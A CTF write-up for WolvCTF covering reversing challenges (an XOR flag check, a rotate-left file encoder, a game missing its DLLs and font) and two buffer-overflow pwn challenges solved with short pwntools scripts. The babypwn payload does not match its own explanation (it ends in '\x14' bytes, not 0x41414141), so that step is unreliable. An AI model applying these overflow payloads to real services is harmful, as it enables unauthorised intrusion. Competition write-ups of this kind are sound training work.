w0lv35 CTF

7 minute read

Reverse

Assembled

Assembled is an ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped.

first look at strings found that I only have one string which is “wrong :(“.

running it found a simple message asking for the flag:

dynamic

So it’s IDA time ;) and here is where the shock happened, the program had only 3 functions with a small structure

first look

searching for our little message found that from xref it only has an interesting call from the key_continuation function and there was branching to another place where success is printed so I renamed those two locks

xref

now I should examine the key_continuation function

key_con

it simply take some data from array data put into dil

data

then compare to cl which means it will compare a single character at a time, then goes to the key loop.

key_l

which calls the check function again.

but the problem is that all functions are resolved in runtime so the debugging must take a turn

I set my remote debugger and set a breakpoint after scanf where the only call in main takes place.

it started to go to the key loop as predicted but out of the blue modified itself to escape debugging

key_l

modifying RIP led to the final clue solving the challenge

xor

now rdi holds our input so it will be xord with the value with cl then stored in rcx the compared with the flag in the data array mentioned before, so now easily you can follow the debugging and save the key in cx every time then execute xor again with the same value of cx -which changes for every char- with data stored in data array and voila you have got the flag.

wctf{h4ppy_d3c0mp1l1ng!}

doubledelete’s revenge

Here I was given two files flag.txt.enc, Revenge1.

Revenge1 is an ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2ce26489d5798dda857db7bbc3309ba20a592fec, for GNU/Linux 3.2.0, not stripped.

The strings had nothing interesting so I ran the file to see what it has

rev1

it told me that it must take two args input file and output file so it’s time to give it the flag file which is somehow encoded and then store the output in any text file

rev2

it didn’t solve the problem it made it worse, now it’s time to dig into code.

check

as you see it first checks the number of inputs, it must take three inputs the file itself(Revenge1), the input you want to encode and the output file to store in.

decide

Here there are four important points:

1- if the args doesn’t meet the expected it prints the first message we saw a while ago to tell you how to use.

2- if the condition is met, it starts to operate on the input file to encode. first, open the file in read mood, then read the file content, but there is something very important. previously, we knew that the file is LSB (Least Significant Byte) which refers to the order in which bytes are stored within multibyte data types (such as integers) in the binary file. so it will read the data in reversed order as it will read the LSB first.

3- Now, it’s encoding time. It will move the counter into eax then shift eax left 2 times (multiply by 4) in order to use it as an index to read four characters at a time then rotate left with 0xD(13 in decimal) the take chars then loop until finish the whole file.

4- Finally, store the rotated data in the output file and terminate.

so now it’s clear and easy to reverse that logic and find the original flag, all you need is to rotate it right with 0xD, but don’t forget:

  • take only 8bits at a time
  • read LSB and after rotation store them MSB you can use BIG ENDIAN⇔LITTLE ENDIAN CONVERTER
  • convert the hex output into text

I used this script to make this:

def right_rotate(n, bits):
    bit = n & ((1 << bits) - 1)
    n >>= bits
    n |= (bit << (32 - bits))
    return n


hex_num = 0x4F61ADA6
rotated_num = right_rotate(hex_num, 13)

print(f"Original number: {hex(hex_num)}")
print(f"Rotated number: {hex(rotated_num)}")

you can read from the file and make it fully automated for better performance.

and finally, we have the flag: wctf{i_th1nk_y0u_m1sund3rst00d_h0w_r0t13_w0rk5}

Missing Resources

Here I was given game.exe which is a PE32+ executable (console) x86-64, for MS Windows.

It was a nice game but the first thing I thought was “Let’s play bro and leave the CTF :-D” but sadly the app didn’t run as didn’t find some important dlls.

As usual, we have our lovely IDA. first, I needed to download “SDL2.dll & SDL2_ttf.dll” and place them in the same directory with my game then run the file.

now the happiness started and the game began, but the problem where that only a window with some colours in the background appeared so I had to search for the function rendering the window and find the problem.

it was easy to find it but the problem was not in rendering.

font

as you can see after loading dlls it tried to load some font but of course, it wasn’t there so it printed nothing.

All I needed was to download any ttf font and rename it to “Inter-VariableFont.ttf” then the magic started and it printed the flag.

flag

PWN

babypwn

babypwn.wolvctf.io 1337

I was given that c code

#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct __attribute__((__packed__)) data {
  char buff[32];
  int check;
};

void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
  char flag[1024] = { 0 };
  FILE *fp = fopen("flag.txt", "r");
  fgets(flag, 1023, fp);
  printf(flag);
}

int main(void) 
{
  struct data name;
  ignore(); /* ignore this function */

  printf("What's your name?\n");
  fgets(name.buff, 64, stdin);
  sleep(2);
  printf("%s nice to meet you!\n", name.buff);
  sleep(2);
  printf("Binary exploitation is the best!\n");
  sleep(2);
  printf("Memory unsafe languages rely on coders to not make mistakes.\n");
  sleep(2);
  printf("But I don't worry, I write perfect code :)\n");
  sleep(2);

  if (name.check == 0x41414141) {
    get_flag();
  }

  return 0;
}

The struct has a character array buff (size 32) and integer check. ignore() disables input/output buffering. get_flag() reads and outputs the contents of “flag.txt”. main() inputs the user’s name into name.buff, then displays messages. If name.check is hex: 0x41414141, get_flag() is invoked.

so all you need to place the value 0x41414141 after the buffer.

I run this code and got the flag:

import pwn

r = pwn.remote('babypwn.wolvctf.io', 1337)

payload = "A"*64 + '\x14\x14\x14\x14'

r.sendline(payload)
r.interactive()

wctf{pwn_1s_th3_best_Categ0ry!}

babypwn2

As the first one I had the code

#include <stdio.h>
#include <unistd.h>

/* ignore this function */
void ignore()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag() 
{
    char *args[] = {"/bin/cat", "flag.txt", NULL};
    execve(args[0], args, NULL);
}

int main() 
{
    ignore();
    char buf[0x20];
    printf("What's your name?\n>> ");
    gets(buf);
    printf("Hi %s!\n", buf);
    return 0;
}

All I need is to write the address of get_flag() after 40 bytes

so first lets get the address of function: echo info functions | gdb ./Desktop/wolves/babypwn2| grep get_flag

add

now script time:

import pwn

r = pwn.remote('babypwn2.wolvctf.io', 1337)

payload = "A"*40 + '\x95\x11@\x00\x00\x00\x00\x00'

r.sendline(payload)
r.interactive()

wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}

Written by

Karim Gomaa

Categories:

Updated: